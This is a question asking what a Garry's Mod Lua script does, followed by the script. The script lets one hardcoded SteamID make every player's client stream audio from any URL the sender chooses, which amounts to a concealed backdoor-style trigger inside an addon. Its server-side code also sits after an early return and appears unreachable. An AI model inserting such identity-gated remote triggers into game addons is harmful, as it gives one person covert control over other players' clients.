What is this script for?

AddCSLuaFile()
if SERVER then return end
net.Receive("snd_clewd",function(len)
  str = net.ReadString()
  sound.PlayURL(str,"",function(st)
    if IsValid(st) then
      st:SetPos(LocalPlayer():GetPos())
      st:Set3DFadeDistance(99999,999999)
      st:Play()
    else
      print("clewds could not be manipulated")
    end
  end)
end)
concommand.Add("clewd",function(ply,cmd,args,args2)
  if ply:SteamID()~= "STEAM_0:1:19926533" then print("you are not gifted with psychic telekinesis") return end
  if args == nil then return end
  net.Start("rec_clewd")
  local str = "https://" .. args2
  net.WriteString(str)
  net.SendToServer()
end)

util.AddNetworkString("rec_clewd")
util.AddNetworkString("snd_clewd")

net.Receive("rec_clewd",function(len,ply)
  str = net.ReadString()
  if ply:SteamID()=="STEAM_0:1:19926533" then
    net.Start("snd_clewd")
    net.WriteString(str)
    net.Broadcast()
  end
end)